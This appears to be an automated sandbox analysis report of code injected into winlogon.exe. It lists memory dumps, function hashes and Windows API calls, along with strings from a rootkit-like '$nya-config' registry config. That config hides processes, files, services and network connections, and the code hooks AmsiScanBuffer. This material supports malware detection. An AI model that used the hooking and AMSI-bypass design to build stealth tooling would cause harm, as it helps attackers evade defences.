Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: 5adcafa524db9b9dda6abc00bbd20b9cf03d535e82a6ec1ffaa50773eb971994
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: 3341913A214F90A6EB60CF68E8483AE73A4F788755F504625EB9D47B98EF38C555CB00

Function 00000225DC6ACD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000225DC6ACE0B
RtlLookupFunctionEntry.NTDLL ref: 00000225DC6ACE23
RtlVirtualUnwind.NTDLL ref: 00000225DC6ACE5E
IsDebuggerPresent.KERNEL32 ref: 00000225DC6ACE97
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC6ACEA1
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC6ACEAC

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: ba0da918b920b46cc3a54e3475de2942f0cc50fd05a53ecf8fda4ebbffebb54b
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: 8941933A214F90A6EB60CF69E8443DE73A4F788755F604215EB8D87B98EF38C155CB00

Function 00000225DC64DA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00000225DC64DB99
FindNextFileW.KERNEL32 ref: 00000225DC64DCCF
FindClose.KERNEL32 ref: 00000225DC64DD0F
FindClose.KERNEL32 ref: 00000225DC64DD3B

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: d4c58a7ce2da72e66ff3ace40df1018a246c983fc32be65cdbeef41b8fe5e660
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: FAA13C26B1CEA069FB20DBFDE44C3AD7BA5E741B96F14C155DE8A27B99CA34C041C700

Function 00000225DC67DA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00000225DC67DB99
FindNextFileW.KERNEL32 ref: 00000225DC67DCCF
FindClose.KERNEL32 ref: 00000225DC67DD0F
FindClose.KERNEL32 ref: 00000225DC67DD3B

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: 066ae2d50c83c03fb0a7661ee4d1289901ef4a01654f13085524b5d77c354e57
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: D2A13A26704EA069FB20DBFDE4483AD6BA0E781B96F14CD15DE9927ED9DE38C049C700

Function 00000225DC6ADA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00000225DC6ADB99
FindNextFileW.KERNEL32 ref: 00000225DC6ADCCF
FindClose.KERNEL32 ref: 00000225DC6ADD0F
FindClose.KERNEL32 ref: 00000225DC6ADD3B

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: 72535559d70cf38c0e92f1948c1c347a54dc7448aa5b502777709f8b5d1bd708
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: 3FA15D26704FA079FB20DBFDD4883AD6BA1E741B96F64C115DE99A7BA9CA38C441C700

Function 00000225DC648090 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000225DC6480BC
GetCurrentThreadId.KERNEL32 ref: 00000225DC6480CA
GetCurrentProcessId.KERNEL32 ref: 00000225DC6480D6
QueryPerformanceCounter.KERNEL32 ref: 00000225DC6480E6

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: 0548d9b6fff432b0518ac17f6716f417ff667374554f4e73728657456859a9e6
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: 06115B2A725F149AEB00CFA4E8583A933A4F719759F440E21EA6D87BA4EF78D154C340

Function 00000225DC64D894 Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

Part of subcall function 00000225DC64D220: HeapAlloc.KERNEL32(?,?,00000000,00000225DC64C987), ref: 00000225DC64D275

Part of subcall function 00000225DC650EB8: _invalid_parameter_noinfo.LIBCMT ref: 00000225DC650EEB

FindFirstFileExW.KERNEL32 ref: 00000225DC64DB99

Part of subcall function 00000225DC64D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000225DC64674A), ref: 00000225DC64D2B6
Part of subcall function 00000225DC64D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000225DC64674A), ref: 00000225DC64D2C0

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$AllocErrorFileFindFirstFreeLast_invalid_parameter_noinfo
String ID:
API String ID: 2436724071-0
Opcode ID: 015d5b419df91353723227b82cc5f20b2d7cfca631414c8aa69de49a3ee2378e
Instruction ID: 5649dc98808358dfbd84c4d7499f086ba2f24cef526f849533dea570b867d2bc
Opcode Fuzzy Hash: 015d5b419df91353723227b82cc5f20b2d7cfca631414c8aa69de49a3ee2378e
Instruction Fuzzy Hash: FD81072A71CEA0A5EB20DFA9E4483AEB791E385BD1F14C165EF9A47BD5DE38C041C700

Function 00000225DC67D894 Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

Part of subcall function 00000225DC67D220: HeapAlloc.KERNEL32(?,?,00000000,00000225DC67C987), ref: 00000225DC67D275

Part of subcall function 00000225DC680EB8: _invalid_parameter_noinfo.LIBCMT ref: 00000225DC680EEB

FindFirstFileExW.KERNEL32 ref: 00000225DC67DB99

Part of subcall function 00000225DC67D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000225DC67674A), ref: 00000225DC67D2B6
Part of subcall function 00000225DC67D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000225DC67674A), ref: 00000225DC67D2C0

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$AllocErrorFileFindFirstFreeLast_invalid_parameter_noinfo
String ID:
API String ID: 2436724071-0
Opcode ID: 015d5b419df91353723227b82cc5f20b2d7cfca631414c8aa69de49a3ee2378e
Instruction ID: 2c038651c2ae92960c88feeb5b316e6b4e497a468d42326572a94128b7c2197c
Opcode Fuzzy Hash: 015d5b419df91353723227b82cc5f20b2d7cfca631414c8aa69de49a3ee2378e
Instruction Fuzzy Hash: E481E63A304EA0A5EB20DBA9E54836EA791F784BD5F04CE15AEAD17FD5DE38C046C700

Function 00000225DC6AD894 Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

Part of subcall function 00000225DC6AD220: HeapAlloc.KERNEL32(?,?,00000000,00000225DC6AC987), ref: 00000225DC6AD275

Part of subcall function 00000225DC6B0EB8: _invalid_parameter_noinfo.LIBCMT ref: 00000225DC6B0EEB

FindFirstFileExW.KERNEL32 ref: 00000225DC6ADB99

Part of subcall function 00000225DC6AD2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000225DC6A674A), ref: 00000225DC6AD2B6
Part of subcall function 00000225DC6AD2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000225DC6A674A), ref: 00000225DC6AD2C0

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$AllocErrorFileFindFirstFreeLast_invalid_parameter_noinfo
String ID:
API String ID: 2436724071-0
Opcode ID: 015d5b419df91353723227b82cc5f20b2d7cfca631414c8aa69de49a3ee2378e
Instruction ID: 29c8525217016a3ed37e239d8c2e36f40a7bfde11074850fae087498558bbfe9
Opcode Fuzzy Hash: 015d5b419df91353723227b82cc5f20b2d7cfca631414c8aa69de49a3ee2378e
Instruction Fuzzy Hash: 5681F82A304FA065EB24DFAAE44839EA791E785BD5F24C115EF99877D5DE38C142C700

Function 00000225DC622AF0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1989875649.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_225dc610000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9bdd77244afecc035c9c3357dde6af93eede52a42cb897eb52dd6107e5c9c51
Instruction ID: d37147464f2ba52ae4694af389c00b8e5a18bc58587e02b0b8f105e6f8330097
Opcode Fuzzy Hash: c9bdd77244afecc035c9c3357dde6af93eede52a42cb897eb52dd6107e5c9c51
Instruction Fuzzy Hash: B4119BB56189E196F7AA8F6DD45931977D0E3193D7F84C02DD4498BA94CB3DC4A0DF00

Function 00000225DC671724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC67172F
HeapAlloc.KERNEL32 ref: 00000225DC67173E

Part of subcall function 00000225DC671264: GetProcessHeap.KERNEL32 ref: 00000225DC67126A
Part of subcall function 00000225DC671264: HeapAlloc.KERNEL32 ref: 00000225DC671279
Part of subcall function 00000225DC671264: GetProcessHeap.KERNEL32 ref: 00000225DC671293
Part of subcall function 00000225DC671264: HeapAlloc.KERNEL32 ref: 00000225DC6712A4

Part of subcall function 00000225DC671000: GetProcessHeap.KERNEL32 ref: 00000225DC671006
Part of subcall function 00000225DC671000: HeapAlloc.KERNEL32 ref: 00000225DC671015
Part of subcall function 00000225DC671000: GetProcessHeap.KERNEL32 ref: 00000225DC671028
Part of subcall function 00000225DC671000: HeapAlloc.KERNEL32 ref: 00000225DC671037

RegOpenKeyExW.ADVAPI32 ref: 00000225DC6717AE
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6717DB
RegCloseKey.ADVAPI32 ref: 00000225DC6717F5
RegOpenKeyExW.ADVAPI32 ref: 00000225DC671815
RegCloseKey.ADVAPI32 ref: 00000225DC671830
RegOpenKeyExW.ADVAPI32 ref: 00000225DC671850
RegCloseKey.ADVAPI32 ref: 00000225DC67186B
RegOpenKeyExW.ADVAPI32 ref: 00000225DC67188B
RegCloseKey.ADVAPI32 ref: 00000225DC6718A6
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6718C6
RegCloseKey.ADVAPI32 ref: 00000225DC6718E1
RegOpenKeyExW.ADVAPI32 ref: 00000225DC671901
RegCloseKey.ADVAPI32 ref: 00000225DC67191C
RegOpenKeyExW.ADVAPI32 ref: 00000225DC67193C
RegCloseKey.ADVAPI32 ref: 00000225DC671957
RegOpenKeyExW.ADVAPI32 ref: 00000225DC671977
RegCloseKey.ADVAPI32 ref: 00000225DC671992
RegCloseKey.ADVAPI32 ref: 00000225DC67199C

Part of subcall function 00000225DC6712B8: RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC671315
Part of subcall function 00000225DC6712B8: GetProcessHeap.KERNEL32 ref: 00000225DC671323
Part of subcall function 00000225DC6712B8: HeapAlloc.KERNEL32 ref: 00000225DC671334
Part of subcall function 00000225DC6712B8: RegEnumValueW.ADVAPI32 ref: 00000225DC671393
Part of subcall function 00000225DC6712B8: GetProcessHeap.KERNEL32 ref: 00000225DC6713DB
Part of subcall function 00000225DC6712B8: HeapAlloc.KERNEL32 ref: 00000225DC6713E9
Part of subcall function 00000225DC6712B8: GetProcessHeap.KERNEL32 ref: 00000225DC671406
Part of subcall function 00000225DC6712B8: HeapFree.KERNEL32 ref: 00000225DC671414
Part of subcall function 00000225DC6712B8: lstrlenW.KERNEL32 ref: 00000225DC67141D
Part of subcall function 00000225DC6712B8: GetProcessHeap.KERNEL32 ref: 00000225DC67142B
Part of subcall function 00000225DC6712B8: HeapAlloc.KERNEL32 ref: 00000225DC671439

Strings

service_names, xrefs: 00000225DC6718BF
process_names, xrefs: 00000225DC671849
startup, xrefs: 00000225DC6717D1
paths, xrefs: 00000225DC671884
pid, xrefs: 00000225DC67180E
udp, xrefs: 00000225DC671970
SOFTWARE\$nya-config, xrefs: 00000225DC67178E
tcp_local, xrefs: 00000225DC6718FA
tcp_remote, xrefs: 00000225DC671935

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: 71e44e630dde731c405f647dad9c2186ef0b895953d0d266fcbe89d85e1081a3
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: 9D71003A710E60A5EB10DFA9E85879D23B4FB84B8AF409513DD4E57BA9EF34C445C740

Function 00000225DC6A1724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6A172F
HeapAlloc.KERNEL32 ref: 00000225DC6A173E

Part of subcall function 00000225DC6A1264: GetProcessHeap.KERNEL32 ref: 00000225DC6A126A
Part of subcall function 00000225DC6A1264: HeapAlloc.KERNEL32 ref: 00000225DC6A1279
Part of subcall function 00000225DC6A1264: GetProcessHeap.KERNEL32 ref: 00000225DC6A1293
Part of subcall function 00000225DC6A1264: HeapAlloc.KERNEL32 ref: 00000225DC6A12A4

Part of subcall function 00000225DC6A1000: GetProcessHeap.KERNEL32 ref: 00000225DC6A1006
Part of subcall function 00000225DC6A1000: HeapAlloc.KERNEL32 ref: 00000225DC6A1015
Part of subcall function 00000225DC6A1000: GetProcessHeap.KERNEL32 ref: 00000225DC6A1028
Part of subcall function 00000225DC6A1000: HeapAlloc.KERNEL32 ref: 00000225DC6A1037

RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A17AE
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A17DB
RegCloseKey.ADVAPI32 ref: 00000225DC6A17F5
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A1815
RegCloseKey.ADVAPI32 ref: 00000225DC6A1830
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A1850
RegCloseKey.ADVAPI32 ref: 00000225DC6A186B
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A188B
RegCloseKey.ADVAPI32 ref: 00000225DC6A18A6
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A18C6
RegCloseKey.ADVAPI32 ref: 00000225DC6A18E1
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A1901
RegCloseKey.ADVAPI32 ref: 00000225DC6A191C
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A193C
RegCloseKey.ADVAPI32 ref: 00000225DC6A1957
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A1977
RegCloseKey.ADVAPI32 ref: 00000225DC6A1992
RegCloseKey.ADVAPI32 ref: 00000225DC6A199C

Part of subcall function 00000225DC6A12B8: RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6A1315
Part of subcall function 00000225DC6A12B8: GetProcessHeap.KERNEL32 ref: 00000225DC6A1323
Part of subcall function 00000225DC6A12B8: HeapAlloc.KERNEL32 ref: 00000225DC6A1334
Part of subcall function 00000225DC6A12B8: RegEnumValueW.ADVAPI32 ref: 00000225DC6A1393
Part of subcall function 00000225DC6A12B8: GetProcessHeap.KERNEL32 ref: 00000225DC6A13DB
Part of subcall function 00000225DC6A12B8: HeapAlloc.KERNEL32 ref: 00000225DC6A13E9
Part of subcall function 00000225DC6A12B8: GetProcessHeap.KERNEL32 ref: 00000225DC6A1406
Part of subcall function 00000225DC6A12B8: HeapFree.KERNEL32 ref: 00000225DC6A1414
Part of subcall function 00000225DC6A12B8: lstrlenW.KERNEL32 ref: 00000225DC6A141D
Part of subcall function 00000225DC6A12B8: GetProcessHeap.KERNEL32 ref: 00000225DC6A142B
Part of subcall function 00000225DC6A12B8: HeapAlloc.KERNEL32 ref: 00000225DC6A1439

Strings

udp, xrefs: 00000225DC6A1970
process_names, xrefs: 00000225DC6A1849
SOFTWARE\$nya-config, xrefs: 00000225DC6A178E
tcp_remote, xrefs: 00000225DC6A1935
pid, xrefs: 00000225DC6A180E
tcp_local, xrefs: 00000225DC6A18FA
paths, xrefs: 00000225DC6A1884
service_names, xrefs: 00000225DC6A18BF
startup, xrefs: 00000225DC6A17D1

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: 50516736a4d467b6a673d53e6823db0b8cd195352840e3040242fee159b92cf1
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: 9D71603A310E64E5EB10DFAAE85869D33B5FB94B8AF449112DE4E83B68EF34C444C340

Function 00000225DC671E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95memorythreadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC671E7F

Part of subcall function 00000225DC6722A8: GetModuleHandleA.KERNEL32(?,?,?,00000225DC671EB1), ref: 00000225DC6722C0
Part of subcall function 00000225DC6722A8: GetProcAddress.KERNEL32(?,?,?,00000225DC671EB1), ref: 00000225DC6722D1

CreateThread.KERNEL32 ref: 00000225DC672043
TlsAlloc.KERNEL32 ref: 00000225DC672049
TlsAlloc.KERNEL32 ref: 00000225DC672055
TlsAlloc.KERNEL32 ref: 00000225DC672061
TlsAlloc.KERNEL32 ref: 00000225DC67206D
TlsAlloc.KERNEL32 ref: 00000225DC672079
TlsAlloc.KERNEL32 ref: 00000225DC672085

Strings

NtResumeThread, xrefs: 00000225DC671EC2
ntdll.dll, xrefs: 00000225DC671E8D
EnumServicesStatusExW, xrefs: 00000225DC671F71, 00000225DC671F92
NtEnumerateKey, xrefs: 00000225DC671F19
pdh.dll, xrefs: 00000225DC671FD7, 00000225DC671FF8
NtDeviceIoControlFile, xrefs: 00000225DC671FB6
AmsiScanBuffer, xrefs: 00000225DC672012
advapi32.dll, xrefs: 00000225DC671F57, 00000225DC671F78
NtQueryDirectoryFileEx, xrefs: 00000225DC671EFC
amsi.dll, xrefs: 00000225DC672019
NtEnumerateValueKey, xrefs: 00000225DC671F36
EnumServiceGroupW, xrefs: 00000225DC671F50
NtQueryDirectoryFile, xrefs: 00000225DC671EDF
PdhGetFormattedCounterArrayW, xrefs: 00000225DC671FF1
sechost.dll, xrefs: 00000225DC671F99
NtQuerySystemInformation, xrefs: 00000225DC671EA5
PdhGetRawCounterArrayW, xrefs: 00000225DC671FD0

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: e6ecbfd54cacd5b4c593c1ac77e66936a6f024f3d5a9e4cde235fe008a8dc896
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
